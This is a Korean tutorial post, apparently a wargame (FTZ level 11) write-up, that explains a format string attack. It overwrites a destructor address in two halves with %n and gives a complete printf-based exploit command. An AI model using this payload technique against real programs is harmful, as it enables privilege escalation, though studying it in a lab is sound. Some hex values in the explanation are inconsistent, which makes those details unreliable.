format string 공격시
① 리턴 주소를 확인
특정 주소(0x8049610)를 어떤 주소로 바꾸어 하는지 확인(0xbffff858)
-> 우리의 예는 소멸자의 주소(08049610)를 (0xbffff858) 주소로 변경하는 예를 들어 보자.
② "특정 주소/특정 주소 +2"를 지정한다.
$ (공격할 프로그램) | $(printf "AAAA㉠주소BBBB㉡주소+2")%8x%8x%8x%㉢숫자1c%n%㉣숫자2c%n
공격할 프로그램 = /home/level11/attackme
㉠ 주소 = 특정 주소(\x10\x96\x04\x08)
특정한 주소를 지정한다. 우리의 예제에서는 소멸자의 주소이다.
㉡ 주소+2 = 특정 주소 + 2(\x12\x96\x04\x08)
특정한 주소를 지정한다. 우리의 예제에서는 소멸자의 주소 + 2이다.
㉢ 숫자1 = 바꾸고 싶은 주소(하단: f858)
= strlen(AAAA주소BBBB주소+2) + strlen(%8x%8x%8x) + 숫자1
= 16 + 24 + ?(숫자1) = 63576(f858)
63576(f858) - 16 - 24 = 63536
===> 따라서 ?(숫자1) 는 63536(숫자1)
(16진수) f858 = (10진수) 63576
㉣ 숫자2 = 바꾸고 싶은 주소(상단: bfff)
===> 0xf858 + 숫자2 = 0xbfff
= 0x1bfff(bfff의 1의보수) - 0xf858
= (16진수) 0xc7a7
= (10진수) 51111
다음과 같은 공격용 명령어를 사용할 수 있다.
$ /home/level11/attackme \
$(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\x04\x08")%8x%8x%8x%63536c%n%51111c%n
■ "주소, 주소+2" 사용하는 이유
전체 주소인 0xbfff858을 모두 입력하지 않는 이유는 0xbfff858를 10진수로 바꾸면 3,221,223,512가 되는데, 이 수치는 정수가 표현할 수 있는 범위인 -2,147,483,648 ~ 2,147,483,647를 벗어나기 때문에 오버플로우가 된다. 따라서 원하는 값을 덮어쓸수가 없다. 그래서 우리가 원하는 값을 4바이트의 주소 범위에 2바이트로 나눠서 덮어쓰는 것이다. 그리고 인텔 프로세서를 사용하는 시스템이면 주소를 리틀엔디안으로 입력해야 한다.
■ 숫자2 입력시
숫자2(0x08049612) 부분에는 바꾸고 싶은 상단 bfff 주소를 입력하면 되는데 0xf585을 저장하기 위해 이미 63576바이트를 이동한 상태인데, 다음에 저장해야 할 0xbfff는 0xf858보다 작은 수이기 때문에 뺄수가 없다. 따라서 bfff주소의 1의 보수인 0x1fff로 만든이후에 0xf858 주소를 뺀 값을 사용하면 된다.(0x1fff - 0xf858 정도로 생각하자.)
'Learning > └◆Reversing' 카테고리의 다른 글
13_Level13 -> Level14[FTZ] 스택가드(스택 쉴드) 알아보기 (0) | 2017.01.30 |
---|---|
12_Level12 -> Level13[FTZ] gets함수의 취약점(Stack Buffer Overflow) (0) | 2017.01.30 |
[참고] 쉘코드(ShellCode) 만드는 방법2 (0) | 2017.01.30 |
[참고] 쉘코드(ShellCode) 만드는 방법 (0) | 2017.01.30 |